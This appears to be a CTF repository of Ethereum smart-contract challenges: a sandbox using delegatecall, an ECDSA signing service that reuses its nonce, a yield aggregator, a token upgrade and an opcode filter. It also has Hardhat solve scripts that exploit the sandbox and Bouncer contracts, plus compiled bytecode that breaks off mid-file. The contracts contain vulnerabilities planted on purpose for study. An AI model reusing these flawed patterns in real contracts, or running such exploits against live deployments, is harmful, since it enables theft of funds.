/problems/babysandbox/public/contracts/BabySandbox.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.0; 2 | 3 | contract BabySandbox { 4 | function run(address code) external payable { 5 | assembly { 6 | // if we're calling ourselves, perform the privileged delegatecall 7 | if eq(caller(), address()) { 8 | switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00) 9 | case 0 { 10 | returndatacopy(0x00, 0x00, returndatasize()) 11 | revert(0x00, returndatasize()) 12 | } 13 | case 1 { 14 | returndatacopy(0x00, 0x00, returndatasize()) 15 | return(0x00, returndatasize()) 16 | } 17 | } 18 | 19 | // ensure enough gas 20 | if lt(gas(), 0xf000) { 21 | revert(0x00, 0x00) 22 | } 23 | 24 | // load calldata 25 | calldatacopy(0x00, 0x00, calldatasize()) 26 | 27 | // run using staticcall 28 | // if this fails, then the code is malicious because it tried to change state 29 | if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) { 30 | revert(0x00, 0x00) 31 | } 32 | 33 | // if we got here, the code wasn't malicious 34 | // run without staticcall since it's safe 35 | switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0) 36 | case 0 { 37 | returndatacopy(0x00, 0x00, returndatasize()) 38 | // revert(0x00, returndatasize()) 39 | } 40 | case 1 { 41 | returndatacopy(0x00, 0x00, returndatasize()) 42 | return(0x00, returndatasize()) 43 | } 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /problems/babycrypto/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | from random import SystemRandom 2 | from ecdsa import ecdsa 3 | import sha3 4 | import binascii 5 | from typing import Tuple 6 | import uuid 7 | import os 8 | 9 | 10 | def gen_keypair() -> Tuple[ecdsa.Private_key, ecdsa.Public_key]: 11 | """ 12 | generate a new ecdsa keypair 13 | """ 14 | g = ecdsa.generator_secp256k1 15 | d = SystemRandom().randrange(1, g.order()) 16 | pub = ecdsa.Public_key(g, g * d) 17 | priv = ecdsa.Private_key(pub, d) 18 | return priv, pub 19 | 20 | 21 | def gen_session_secret() -> int: 22 | """ 23 | generate a random 32 byte session secret 24 | """ 25 | with open("/dev/urandom", "rb") as rnd: 26 | seed1 = int(binascii.hexlify(rnd.read(32)), 16) 27 | seed2 = int(binascii.hexlify(rnd.read(32)), 16) 28 | return seed1 ^ seed2 29 | 30 | 31 | def hash_message(msg: str) -> int: 32 | """ 33 | hash the message using keccak256, truncate if necessary 34 | """ 35 | k = sha3.keccak_256() 36 | k.update(msg.encode("utf8")) 37 | d = k.digest() 38 | n = int(binascii.hexlify(d), 16) 39 | olen = ecdsa.generator_secp256k1.order().bit_length() or 1 40 | dlen = len(d) 41 | n >>= max(0, dlen - olen) 42 | return n 43 | 44 | 45 | if __name__ == "__main__": 46 | flag = os.getenv("FLAG", "PCTF{placeholder}") 47 | 48 | priv, pub = gen_keypair() 49 | session_secret = gen_session_secret() 50 | 51 | for _ in range(4): 52 | message = input("message? ") 53 | hashed = hash_message(message) 54 | sig = priv.sign(hashed, session_secret) 55 | print(f"r=0x{sig.r:032x}") 56 | print(f"s=0x{sig.s:032x}") 57 | 58 | test = hash_message(uuid.uuid4().hex) 59 | print(f"test=0x{test:032x}") 60 | 61 | r = int(input("r? "), 16) 62 | s = int(input("s? "), 16) 63 | 64 | if not pub.verifies(test, ecdsa.Signature(r, s)): 65 | print("better luck next time") 66 | exit(1) 67 | 68 | print(flag) 69 | -------------------------------------------------------------------------------- /problems/swap/public/contracts/ReentrancyGuard.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | contract ReentrancyGuard { 4 | // Booleans are more expensive than uint256 or any type that takes up a full 5 | // word because each write operation emits an extra SLOAD to first read the 6 | // slot's contents, replace the bits taken up by the boolean, and then write 7 | // back. This is the compiler's defense against contract upgrades and 8 | // pointer aliasing, and it cannot be disabled. 9 | 10 | // The values being non-zero value makes deployment a bit more expensive, 11 | // but in exchange the refund on every call to nonReentrant will be lower in 12 | // amount. Since refunds are capped to a percentage of the total 13 | // transaction's gas, it is best to keep them low in cases like this one, to 14 | // increase the likelihood of the full refund coming into effect. 15 | uint256 private constant _NOT_ENTERED = 1; 16 | uint256 private constant _ENTERED = 2; 17 | 18 | uint256 private _status; 19 | 20 | constructor () internal { 21 | _status = _NOT_ENTERED; 22 | } 23 | 24 | /** 25 | * @dev Prevents a contract from calling itself, directly or indirectly. 26 | * Calling a `nonReentrant` function from another `nonReentrant` 27 | * function is not supported. It is possible to prevent this from happening 28 | * by making the `nonReentrant` function external, and make it call a 29 | * `private` function that does the actual work. 30 | */ 31 | modifier nonReentrant() { 32 | // On the first call to nonReentrant, _notEntered will be true 33 | require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); 34 | 35 | // Any calls to nonReentrant after this point will fail 36 | _status = _ENTERED; 37 | 38 | _; 39 | 40 | // By storing the original value once again, a refund is triggered (see 41 | // https://eips.ethereum.org/EIPS/eip-2200) 42 | _status = _NOT_ENTERED; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /task/babysandbox.ts: -------------------------------------------------------------------------------- 1 | import { Contract } from 'ethers' 2 | import { task } from 'hardhat/config' 3 | 4 | task('babysandbox') 5 | .addOptionalPositionalParam('setupAddress') 6 | .setAction(async ({ setupAddress }, { run, ethers }) => { 7 | await run('compile') 8 | 9 | // get signer 10 | 11 | const signer = (await ethers.getSigners())[0] 12 | console.log('Signer', signer.address) 13 | 14 | // setup problem 15 | 16 | let setup: Contract 17 | if (setupAddress) { 18 | setup = await ethers.getContractAt( 19 | 'contracts/babysandbox/Setup.sol:Setup', 20 | setupAddress, 21 | ) 22 | } else { 23 | setup = await ( 24 | await ethers.getContractFactory('contracts/babysandbox/Setup.sol:Setup') 25 | ).deploy() 26 | } 27 | console.log('Setup') 28 | console.log(' at', setup.address) 29 | 30 | const destructorOther = await ( 31 | await ethers.getContractFactory( 32 | 'contracts/babysandbox/Destructor.sol:Destructor', 33 | ) 34 | ).deploy(setup.address) 35 | 36 | const destructor = await ( 37 | await ethers.getContractFactory( 38 | 'contracts/babysandbox/Destructor.sol:Destructor', 39 | ) 40 | ).deploy(destructorOther.address) 41 | 42 | console.log('destructor') 43 | console.log(' at', destructor.address) 44 | console.log( 45 | 'COPY THIS ADDRESS TO Destructor.sol and run this script again', 46 | await destructorOther.other(), 47 | ) 48 | // You have to hard code this because it's a delegatecall 49 | 50 | // init contracts 51 | 52 | const sandbox = await ethers.getContractAt( 53 | 'BabySandbox', 54 | await setup.sandbox(), 55 | ) 56 | console.log('sandbox') 57 | console.log(' at', sandbox.address) 58 | 59 | // // perform exploit 60 | 61 | console.log(await sandbox.run(destructor.address)) 62 | 63 | // await hello.solve() 64 | 65 | // verify 66 | 67 | console.log('Success?', await setup.isSolved()) 68 | }) 69 | -------------------------------------------------------------------------------- /task/bouncer.ts: -------------------------------------------------------------------------------- 1 | import { Contract } from 'ethers' 2 | import { formatEther, parseEther } from 'ethers/lib/utils' 3 | import { task } from 'hardhat/config' 4 | const ETH = '0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE' 5 | 6 | function sleep(ms: number) { 7 | return new Promise((resolve) => setTimeout(resolve, ms)) 8 | } 9 | 10 | task('bouncer') 11 | .addOptionalPositionalParam('setupAddress') 12 | .setAction(async ({ setupAddress }, { run, ethers }) => { 13 | await run('compile') 14 | 15 | // get signer 16 | 17 | const signer = (await ethers.getSigners())[0] 18 | console.log('Signer', signer.address) 19 | 20 | // setup problem 21 | 22 | let setup: Contract 23 | if (setupAddress) { 24 | setup = await ethers.getContractAt( 25 | 'contracts/bouncer/Setup.sol:Setup', 26 | setupAddress, 27 | ) 28 | } else { 29 | setup = await ( 30 | await ethers.getContractFactory('contracts/bouncer/Setup.sol:Setup') 31 | ).deploy({ value: parseEther('100') }) 32 | } 33 | console.log('Setup') 34 | console.log(' at', setup.address) 35 | 36 | // init contracts 37 | 38 | const bouncer = await ethers.getContractAt( 39 | 'contracts/bouncer/Bouncer.sol:Bouncer', 40 | await setup.bouncer(), 41 | ) 42 | console.log('Bouncer') 43 | console.log(' at', bouncer.address) 44 | 45 | // perform exploit 46 | 47 | console.log( 48 | await bouncer.enter(ETH, parseEther('100'), { 49 | value: parseEther('1'), 50 | }), 51 | ) 52 | 53 | // Have to sleep due to timing issues with block.timestamp and bouncer blocking entry 54 | console.log('sleeping...') 55 | await sleep(1000) 56 | console.log( 57 | await bouncer.convertMany(signer.address, [0, 0], { 58 | value: parseEther('100'), 59 | }), 60 | ) 61 | 62 | console.log( 63 | await bouncer.redeem( 64 | ETH, 65 | await ethers.provider.getBalance(bouncer.address), 66 | ), 67 | ) 68 | 69 | // verify 70 | 71 | console.log('Success?', await setup.isSolved()) 72 | }) 73 | -------------------------------------------------------------------------------- /contracts/yield_aggregator/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | import "./YieldAggregator.sol"; 4 | 5 | // dumb bank with 0% interest rates 6 | contract MiniBank is Protocol { 7 | ERC20Like public override underlying = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 8 | 9 | mapping (address => uint256) public balanceOf; 10 | uint256 public totalSupply; 11 | 12 | function mint(uint256 amount) public override { 13 | require(underlying.transferFrom(msg.sender, address(this), amount)); 14 | balanceOf[msg.sender] += amount; 15 | totalSupply += amount; 16 | } 17 | 18 | function burn(uint256 amount) public override { 19 | balanceOf[msg.sender] -= amount; 20 | totalSupply -= amount; 21 | require(underlying.transfer(msg.sender, amount)); 22 | } 23 | 24 | function balanceUnderlying() public override view returns (uint256) { 25 | return underlying.balanceOf(address(this)); 26 | } 27 | 28 | function rate() public override view returns (uint256) { 29 | return 1; 30 | } 31 | } 32 | 33 | interface WETH9 is ERC20Like { 34 | function deposit() external payable; 35 | } 36 | 37 | contract Setup { 38 | YieldAggregator public aggregator; 39 | MiniBank public bank; 40 | WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 41 | 42 | constructor() payable { 43 | require(msg.value == 100 ether); 44 | bank = new MiniBank(); 45 | 46 | aggregator = new YieldAggregator(); 47 | 48 | weth.deposit{value: msg.value}(); 49 | weth.approve(address(aggregator), type(uint256).max); 50 | 51 | address[] memory _tokens = new address[](1); 52 | _tokens[0] = address(weth); 53 | 54 | uint256[] memory _amounts = new uint256[](1); 55 | _amounts[0] = 50 ether; 56 | 57 | // we deposit 50 weth to the system 58 | aggregator.deposit(Protocol(address(bank)), _tokens, _amounts); 59 | } 60 | 61 | function isSolved() public view returns (bool) { 62 | return weth.balanceOf(address(aggregator)) == 0 && 63 | weth.balanceOf(address(bank)) == 0; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /problems/yield_aggregator/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | import "./YieldAggregator.sol"; 4 | 5 | // dumb bank with 0% interest rates 6 | contract MiniBank is Protocol { 7 | ERC20Like public override underlying = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 8 | 9 | mapping (address => uint256) public balanceOf; 10 | uint256 public totalSupply; 11 | 12 | function mint(uint256 amount) public override { 13 | require(underlying.transferFrom(msg.sender, address(this), amount)); 14 | balanceOf[msg.sender] += amount; 15 | totalSupply += amount; 16 | } 17 | 18 | function burn(uint256 amount) public override { 19 | balanceOf[msg.sender] -= amount; 20 | totalSupply -= amount; 21 | require(underlying.transfer(msg.sender, amount)); 22 | } 23 | 24 | function balanceUnderlying() public override view returns (uint256) { 25 | return underlying.balanceOf(address(this)); 26 | } 27 | 28 | function rate() public override view returns (uint256) { 29 | return 1; 30 | } 31 | } 32 | 33 | interface WETH9 is ERC20Like { 34 | function deposit() external payable; 35 | } 36 | 37 | contract Setup { 38 | YieldAggregator public aggregator; 39 | MiniBank public bank; 40 | WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 41 | 42 | constructor() payable { 43 | require(msg.value == 100 ether); 44 | bank = new MiniBank(); 45 | 46 | aggregator = new YieldAggregator(); 47 | 48 | weth.deposit{value: msg.value}(); 49 | weth.approve(address(aggregator), type(uint256).max); 50 | 51 | address[] memory _tokens = new address[](1); 52 | _tokens[0] = address(weth); 53 | 54 | uint256[] memory _amounts = new uint256[](1); 55 | _amounts[0] = 50 ether; 56 | 57 | // we deposit 50 weth to the system 58 | aggregator.deposit(Protocol(address(bank)), _tokens, _amounts); 59 | } 60 | 61 | function isSolved() public view returns (bool) { 62 | return weth.balanceOf(address(aggregator)) == 0 && 63 | weth.balanceOf(address(bank)) == 0; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /problems/babysandbox/public/deploy/compiled.bin: -------------------------------------------------------------------------------- 1 | {"contracts":{"contracts/BabySandbox.sol:BabySandbox":{"bin":"608060405234801561001057600080fd5b5061012b806100206000396000f3fe608060405260043610601c5760003560e01c8063522bb704146021575b600080fd5b606060048036036020811015603557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506062565b005b30331415609a57600080600080845af46000811460845760018114608e576098565b3d6000803e3d6000fd5b3d6000803e3d6000f35b505b61f0005a101560a857600080fd5b366000803760008036600030614000fa60c057600080fd5b6000803660008030614000f16000811460de576001811460e75760f1565b3d6000803e60f1565b3d6000803e3d6000f35b505056fea2646970667358221220fcea6e8d4d492eb32f5d0421f63e52ccf3a3ed4a6baa345de51716b578639a1964736f6c63430007000033"},"contracts/Setup.sol:Setup":{"bin":"608060405234801561001057600080fd5b5060405161001d9061007e565b604051809103906000f080158015610039573d6000803e3d6000fd5b506000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061008b565b61014b8061018d83390190565b60f4806100996000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80631984916f14603757806364d98f6e146069575b600080fd5b603d6087565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606f60ab565b60405180821515815260200191505060405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000543b9050600081149150509056fea2646970667358221220224cff20bf8b71b314940a4c1ddd54e17e1bbb999cff95510c6717036337bc6b64736f6c63430007000033608060405234801561001057600080fd5b5061012b806100206000396000f3fe608060405260043610601c5760003560e01c8063522bb704146021575b600080fd5b606060048036036020811015603557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506062565b005b30331415609a57600080600080845af46000811460845760018114608e576098565b3d6000803e3d6000fd5b3d6000803e3d6000f35b505b61f0005a101560a857600080fd5b366000803760008036600030614000fa60c057600080fd5b6000803660008030614000f16000811460de576001811460e75760f1565b3d6000803e60f1565b3d6000803e3d6000f35b505056fea2646970667358221220fcea6e8d4d492eb32f5d0421f63e52ccf3a3ed4a6baa345de51716b578639a1964736f6c63430007000033"}},"version":"0.7.0+commit.9e61f92b.Darwin.appleclang"} 2 | -------------------------------------------------------------------------------- /contracts/upgrade/FiatTokenV3.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.6.12; 2 | 3 | import "./FiatTokenV2.sol"; 4 | 5 | /** 6 | * @title FiatToken V3 7 | * @notice ERC20 Token backed by fiat reserves, version 3 8 | */ 9 | contract FiatTokenV3 is FiatTokenV2 { 10 | // ensure we start on a new storage slot just in case 11 | uint256 private _gap; 12 | 13 | bool internal _initializedV3; 14 | 15 | mapping(address => mapping(address => uint256)) private _loans; 16 | 17 | /** 18 | * @notice Initialize V3 contract 19 | * @dev When upgrading to V3, this function must also be invoked by using 20 | * upgradeToAndCall instead of upgradeTo, or by calling both from a contract 21 | * in a single transaction. 22 | */ 23 | function initializeV3() external { 24 | require(!_initializedV3, "FiatTokenV3: contract is already initialized"); 25 | DOMAIN_SEPARATOR = EIP712.makeDomainSeparator(name, "3"); 26 | _initializedV3 = true; 27 | } 28 | 29 | /** 30 | * @notice Lends some tokens to the specified address 31 | * @param to Recipient's address 32 | * @param amount Loan amount 33 | * @return True if successful 34 | */ 35 | function lend(address to, uint256 amount) 36 | external 37 | whenNotPaused 38 | notBlacklisted(msg.sender) 39 | notBlacklisted(to) 40 | returns (bool) 41 | { 42 | _loans[msg.sender][to] = _loans[msg.sender][to].add(amount); 43 | 44 | _transfer(msg.sender, to, amount); 45 | return true; 46 | } 47 | 48 | /** 49 | * @notice Reclaims previously lent tokens 50 | * @param from The account to which tokens were lent 51 | * @param amount Reclaim amount 52 | * @return True if successful 53 | */ 54 | function reclaim(address from, uint256 amount) 55 | external 56 | whenNotPaused 57 | notBlacklisted(msg.sender) 58 | notBlacklisted(from) 59 | returns (bool) 60 | { 61 | _loans[msg.sender][from] = _loans[msg.sender][from].sub( 62 | amount, 63 | "FiatTokenV3: decreased loans below zero" 64 | ); 65 | 66 | _transfer(from, msg.sender, amount); 67 | return true; 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /problems/upgrade/public/contracts/FiatTokenV3.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.6.12; 2 | 3 | import "./FiatTokenV2.sol"; 4 | 5 | /** 6 | * @title FiatToken V3 7 | * @notice ERC20 Token backed by fiat reserves, version 3 8 | */ 9 | contract FiatTokenV3 is FiatTokenV2 { 10 | // ensure we start on a new storage slot just in case 11 | uint private _gap; 12 | 13 | bool internal _initializedV3; 14 | 15 | mapping(address => mapping(address => uint256)) private _loans; 16 | 17 | /** 18 | * @notice Initialize V3 contract 19 | * @dev When upgrading to V3, this function must also be invoked by using 20 | * upgradeToAndCall instead of upgradeTo, or by calling both from a contract 21 | * in a single transaction. 22 | */ 23 | function initializeV3() external { 24 | require( 25 | !_initializedV3, 26 | "FiatTokenV3: contract is already initialized" 27 | ); 28 | DOMAIN_SEPARATOR = EIP712.makeDomainSeparator(name, "3"); 29 | _initializedV3 = true; 30 | } 31 | 32 | /** 33 | * @notice Lends some tokens to the specified address 34 | * @param to Recipient's address 35 | * @param amount Loan amount 36 | * @return True if successful 37 | */ 38 | function lend(address to, uint amount) 39 | external 40 | whenNotPaused 41 | notBlacklisted(msg.sender) 42 | notBlacklisted(to) 43 | returns (bool) 44 | { 45 | _loans[msg.sender][to] = _loans[msg.sender][to].add(amount); 46 | 47 | _transfer(msg.sender, to, amount); 48 | return true; 49 | } 50 | 51 | /** 52 | * @notice Reclaims previously lent tokens 53 | * @param from The account to which tokens were lent 54 | * @param amount Reclaim amount 55 | * @return True if successful 56 | */ 57 | function reclaim(address from, uint amount) 58 | external 59 | whenNotPaused 60 | notBlacklisted(msg.sender) 61 | notBlacklisted(from) 62 | returns (bool) 63 | { 64 | _loans[msg.sender][from] = _loans[msg.sender][from].sub(amount, "FiatTokenV3: decreased loans below zero"); 65 | 66 | _transfer(from, msg.sender, amount); 67 | return true; 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | lerna-debug.log* 8 | 9 | # Diagnostic reports (https://nodejs.org/api/report.html) 10 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json 11 | 12 | # Runtime data 13 | pids 14 | *.pid 15 | *.seed 16 | *.pid.lock 17 | 18 | # Directory for instrumented libs generated by jscoverage/JSCover 19 | lib-cov 20 | 21 | # Coverage directory used by tools like istanbul 22 | coverage 23 | *.lcov 24 | 25 | # nyc test coverage 26 | .nyc_output 27 | 28 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 29 | .grunt 30 | 31 | # Bower dependency directory (https://bower.io/) 32 | bower_components 33 | 34 | # node-waf configuration 35 | .lock-wscript 36 | 37 | # Compiled binary addons (https://nodejs.org/api/addons.html) 38 | build/Release 39 | 40 | # Dependency directories 41 | node_modules/ 42 | jspm_packages/ 43 | 44 | # Snowpack dependency directory (https://snowpack.dev/) 45 | web_modules/ 46 | 47 | # TypeScript cache 48 | *.tsbuildinfo 49 | 50 | # Optional npm cache directory 51 | .npm 52 | 53 | # Optional eslint cache 54 | .eslintcache 55 | 56 | # Microbundle cache 57 | .rpt2_cache/ 58 | .rts2_cache_cjs/ 59 | .rts2_cache_es/ 60 | .rts2_cache_umd/ 61 | 62 | # Optional REPL history 63 | .node_repl_history 64 | 65 | # Output of 'npm pack' 66 | *.tgz 67 | 68 | # Yarn Integrity file 69 | .yarn-integrity 70 | 71 | # dotenv environment variables file 72 | .env 73 | .env.test 74 | 75 | # parcel-bundler cache (https://parceljs.org/) 76 | .cache 77 | .parcel-cache 78 | 79 | # Next.js build output 80 | .next 81 | out 82 | 83 | # Nuxt.js build / generate output 84 | .nuxt 85 | dist 86 | 87 | # Gatsby files 88 | .cache/ 89 | # Comment in the public line in if your project uses Gatsby and not Next.js 90 | # https://nextjs.org/blog/next-9-1#public-directory-support 91 | # public 92 | 93 | # vuepress build output 94 | .vuepress/dist 95 | 96 | # Serverless directories 97 | .serverless/ 98 | 99 | # FuseBox cache 100 | .fusebox/ 101 | 102 | # DynamoDB Local files 103 | .dynamodb/ 104 | 105 | # TernJS port file 106 | .tern-port 107 | 108 | # Stores VSCode versions used for testing VSCode extensions 109 | .vscode-test 110 | 111 | # yarn v2 112 | .yarn/cache 113 | .yarn/unplugged 114 | .yarn/build-state.yml 115 | .yarn/install-state.gz 116 | .pnp.* 117 | cache 118 | artifacts 119 | __pycache__ 120 | -------------------------------------------------------------------------------- /contracts/yield_aggregator/YieldAggregator.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | interface ERC20Like { 4 | function transfer(address dst, uint256 qty) external returns (bool); 5 | 6 | function transferFrom( 7 | address src, 8 | address dst, 9 | uint256 qty 10 | ) external returns (bool); 11 | 12 | function balanceOf(address who) external view returns (uint256); 13 | 14 | function approve(address guy, uint256 wad) external returns (bool); 15 | } 16 | 17 | interface Protocol { 18 | function mint(uint256 amount) external; 19 | function burn(uint256 amount) external; 20 | function underlying() external view returns (ERC20Like); 21 | function balanceUnderlying() external view returns (uint256); 22 | function rate() external view returns (uint256); 23 | } 24 | 25 | // accepts multiple tokens and forwards them to banking protocols compliant to an 26 | // interface 27 | contract YieldAggregator { 28 | address public owner; 29 | address public harvester; 30 | 31 | mapping (address => uint256) public poolTokens; 32 | 33 | constructor() { 34 | owner = msg.sender; 35 | } 36 | 37 | function deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public { 38 | uint256 balanceBefore = protocol.balanceUnderlying(); 39 | for (uint256 i= 0; i < tokens.length; i++) { 40 | address token = tokens[i]; 41 | uint256 amount = amounts[i]; 42 | 43 | ERC20Like(token).transferFrom(msg.sender, address(this), amount); 44 | ERC20Like(token).approve(address(protocol), 0); 45 | ERC20Like(token).approve(address(protocol), amount); 46 | // reset approval for failed mints 47 | try protocol.mint(amount) { } catch { 48 | ERC20Like(token).approve(address(protocol), 0); 49 | } 50 | } 51 | uint256 balanceAfter = protocol.balanceUnderlying(); 52 | uint256 diff = balanceAfter - balanceBefore; 53 | poolTokens[msg.sender] += diff; 54 | } 55 | 56 | function withdraw(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public { 57 | uint256 balanceBefore = protocol.balanceUnderlying(); 58 | for (uint256 i= 0; i < tokens.length; i++) { 59 | address token = tokens[i]; 60 | uint256 amount = amounts[i]; 61 | protocol.burn(amount); 62 | ERC20Like(token).transfer(msg.sender, amount); 63 | } 64 | uint256 balanceAfter = protocol.balanceUnderlying(); 65 | 66 | uint256 diff = balanceBefore - balanceAfter; 67 | poolTokens[msg.sender] -= diff; 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /problems/yield_aggregator/public/contracts/YieldAggregator.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | interface ERC20Like { 4 | function transfer(address dst, uint256 qty) external returns (bool); 5 | 6 | function transferFrom( 7 | address src, 8 | address dst, 9 | uint256 qty 10 | ) external returns (bool); 11 | 12 | function balanceOf(address who) external view returns (uint256); 13 | 14 | function approve(address guy, uint256 wad) external returns (bool); 15 | } 16 | 17 | interface Protocol { 18 | function mint(uint256 amount) external; 19 | function burn(uint256 amount) external; 20 | function underlying() external view returns (ERC20Like); 21 | function balanceUnderlying() external view returns (uint256); 22 | function rate() external view returns (uint256); 23 | } 24 | 25 | // accepts multiple tokens and forwards them to banking protocols compliant to an 26 | // interface 27 | contract YieldAggregator { 28 | address public owner; 29 | address public harvester; 30 | 31 | mapping (address => uint256) public poolTokens; 32 | 33 | constructor() { 34 | owner = msg.sender; 35 | } 36 | 37 | function deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public { 38 | uint256 balanceBefore = protocol.balanceUnderlying(); 39 | for (uint256 i= 0; i < tokens.length; i++) { 40 | address token = tokens[i]; 41 | uint256 amount = amounts[i]; 42 | 43 | ERC20Like(token).transferFrom(msg.sender, address(this), amount); 44 | ERC20Like(token).approve(address(protocol), 0); 45 | ERC20Like(token).approve(address(protocol), amount); 46 | // reset approval for failed mints 47 | try protocol.mint(amount) { } catch { 48 | ERC20Like(token).approve(address(protocol), 0); 49 | } 50 | } 51 | uint256 balanceAfter = protocol.balanceUnderlying(); 52 | uint256 diff = balanceAfter - balanceBefore; 53 | poolTokens[msg.sender] += diff; 54 | } 55 | 56 | function withdraw(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public { 57 | uint256 balanceBefore = protocol.balanceUnderlying(); 58 | for (uint256 i= 0; i < tokens.length; i++) { 59 | address token = tokens[i]; 60 | uint256 amount = amounts[i]; 61 | protocol.burn(amount); 62 | ERC20Like(token).transfer(msg.sender, amount); 63 | } 64 | uint256 balanceAfter = protocol.balanceUnderlying(); 65 | 66 | uint256 diff = balanceBefore - balanceAfter; 67 | poolTokens[msg.sender] -= diff; 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /problems/rever/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | contract Deployer { 4 | constructor(bytes memory code) { assembly { return (add(code, 0x20), mload(code)) } } 5 | } 6 | 7 | contract Challenge { 8 | address public fwd; 9 | address public rev; 10 | 11 | function safe(bytes memory code) private returns (bool) { 12 | uint i = 0; 13 | while (i < code.length) { 14 | uint8 op = uint8(code[i]); 15 | if ( 16 | op == 0x3B // EXTCODECOPY 17 | || op == 0x3C // EXTCODESIZE 18 | || op == 0x3F // EXTCODEHASH 19 | || op == 0x54 // SLOAD 20 | || op == 0x55 // SSTORE 21 | || op == 0xF0 // CREATE 22 | || op == 0xF1 // CALL 23 | || op == 0xF2 // CALLCODE 24 | || op == 0xF4 // DELEGATECALL 25 | || op == 0xF5 // CREATE2 26 | || op == 0xFA // STATICCALL 27 | || op == 0xFF // SELFDESTRUCT 28 | ) return false; 29 | 30 | if (op >= 0x60 && op < 0x80) i += (op - 0x60) + 1; 31 | 32 | i++; 33 | } 34 | 35 | return true; 36 | } 37 | 38 | function flip(bytes memory a) private returns (bytes memory) { 39 | bytes memory b = new bytes(a.length); 40 | for (uint i = 0; i < a.length; i++) { 41 | b[b.length - i - 1] = a[i]; 42 | } 43 | return b; 44 | } 45 | 46 | function deployOne(bytes memory code) private returns (address) { 47 | require(code.length < 101, "deployOne/code-too-long"); 48 | require(safe(code), "deployOne/code-unsafe"); 49 | 50 | return address(new Deployer(code)); 51 | } 52 | 53 | function deploy(bytes memory code) public { 54 | fwd = deployOne(code); 55 | rev = deployOne(flip(code)); 56 | } 57 | } 58 | 59 | contract Setup { 60 | Challenge public challenge; 61 | 62 | constructor() { 63 | challenge = new Challenge(); 64 | } 65 | 66 | function test(string memory what) public view returns (bool) { 67 | return test(challenge.fwd(), what) && test(challenge.rev(), what); 68 | } 69 | 70 | function test(address who, string memory what) public view returns (bool) { 71 | bool ok; 72 | assembly { 73 | ok := staticcall(gas(), who, add(what, 0x20), mload(what), 0x00, 0x00) 74 | if ok { 75 | if iszero(iszero(returndatasize())) { 76 | let ptr := mload(0x40) 77 | returndatacopy(ptr, 0x00, returndatasize()) 78 | ok := mload(ptr) 79 | } 80 | } 81 | } 82 | return ok; 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /problems/hello/public/deploy/compiled.bin: -------------------------------------------------------------------------------- 1 | {"contracts":{"contracts/Hello.sol:Hello":{"bin":"608060405260008060006101000a81548160ff02191690831515021790555034801561002a57600080fd5b5060ee806100396000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c8063799320bb146037578063890d6908146051575b600080fd5b603d6059565b604051604891906093565b60405180910390f35b6057606a565b005b60008054906101000a900460ff1681565b60016000806101000a81548160ff021916908315150217905550565b608d8160ac565b82525050565b600060208201905060a660008301846086565b92915050565b6000811515905091905056fea26469706673582212202f83e1233a410e2208eda12b171a9d3b0ab39200848610fca0f32b740750658664736f6c63430008000033"},"contracts/Setup.sol:Setup":{"bin":"608060405234801561001057600080fd5b5060405161001d9061007e565b604051809103906000f080158015610039573d6000803e3d6000fd5b506000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061008b565b6101278061030a83390190565b6102708061009a6000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806319ff1d211461003b57806364d98f6e14610059575b600080fd5b610043610077565b60405161005091906101b8565b60405180910390f35b61006161009b565b60405161006e919061019d565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663799320bb6040518163ffffffff1660e01b815260040160206040518083038186803b15801561010457600080fd5b505afa158015610118573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061